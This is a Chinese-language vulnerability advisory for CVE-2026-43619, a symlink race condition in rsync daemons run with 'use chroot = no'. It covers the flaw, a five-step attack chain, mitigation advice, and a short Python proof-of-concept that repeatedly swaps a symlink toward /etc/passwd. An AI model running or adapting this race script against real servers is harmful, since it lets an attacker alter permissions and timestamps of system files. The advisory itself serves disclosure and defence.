IPBUF安全漏洞报告
English
CVE-2026-43619 CVSS 6.3 中危

CVE-2026-43619 Rsync 符号链接竞争条件漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-43619
漏洞类型
符号链接竞争条件
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rsync

相关标签

Race ConditionSymlinkTOCTOURsyncLocal FilesystemPrivilege Escalation

漏洞概述

Rsync 3.4.2及之前版本在处理基于路径的系统调用时存在符号链接竞争条件漏洞。当配置'use chroot = no'时,本地攻击者可利用路径解析与系统调用执行之间的时间窗口,通过切换符号链接将操作重定向至模块外文件,从而修改任意文件的权限、所有权或时间戳。

技术细节

该漏洞源于Rsync在执行chmod、lchown、utimes、rename、unlink、mkdir、symlink、mknod、link、rmdir和lstat等基于路径的系统调用时,未能有效处理符号链接的竞争条件(TOCTOU)。当Rsync守护进程配置为'use chroot = no'时,它不使用chroot进行隔离,导致路径解析可能跳出导出模块。攻击者需要拥有本地文件系统访问权限,利用路径解析与系统调用执行之间的微小时间窗口。攻击者预先创建恶意符号链接,并在Rsync解析路径后、执行系统调用前的瞬间,将符号链接切换指向导出模块之外的任意文件。由于Rsync直接应用发送方提供的元数据,攻击者借此可修改系统上任意非预期文件的属性,破坏系统完整性。

攻击链分析

STEP 1
发现与访问
攻击者获得对目标服务器本地文件系统的访问权限,并识别出运行中的Rsync守护进程。
STEP 2
配置识别
攻击者确认Rsync配置了'use chroot = no',且存在可写的导出模块。
STEP 3
环境准备
攻击者在导出模块内创建一个符号链接,初始指向模块内的无害文件。
STEP 4
触发竞争
攻击者持续运行脚本,在Rsync进行路径解析和执行系统调用(如chmod)之间,快速将符号链接切换指向模块外的高价值文件(如/etc/passwd)。
STEP 5
利用成功
Rsync将发送方指定的权限或时间戳应用到攻击者指向的模块外文件上,导致文件完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import time # This script demonstrates the concept of the symlink race condition. # It rapidly swaps a symlink between a safe target and a sensitive target. # # Usage: # 1. Create a directory monitored by rsync. # 2. Point 'link_path' inside that directory. # 3. Run this script while triggering an rsync operation. safe_path = "/tmp/safe_file.txt" target_path = "/etc/passwd" # Sensitive file to modify permissions/timestamps link_path = "/tmp/rsync_module/exploit_link" # Initialize the symlink if os.path.exists(link_path): os.remove(link_path) os.symlink(safe_path, link_path) print("[*] Starting race condition attack...") print(f"[*] Swapping {link_path} between {safe_path} and {target_path}") try: while True: # Point to safe file (during rsync check) os.remove(link_path) os.symlink(safe_path, link_path) # Tiny delay to simulate timing window time.sleep(0.0001) # Point to target file (during rsync syscall execution) os.remove(link_path) os.symlink(target_path, link_path) time.sleep(0.0001) except KeyboardInterrupt: print("\n[!] Stopping attack.") # Cleanup if os.path.islink(link_path): os.remove(link_path)

影响范围

Rsync <= 3.4.2

防御指南

临时缓解措施
如果无法立即升级,请确保rsync守护进程配置中启用了'use chroot = yes',这能有效防止符号链接指向导出模块之外的文件。此外,应检查并锁定导出模块的权限设置,确保未授权用户无法创建或切换符号链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表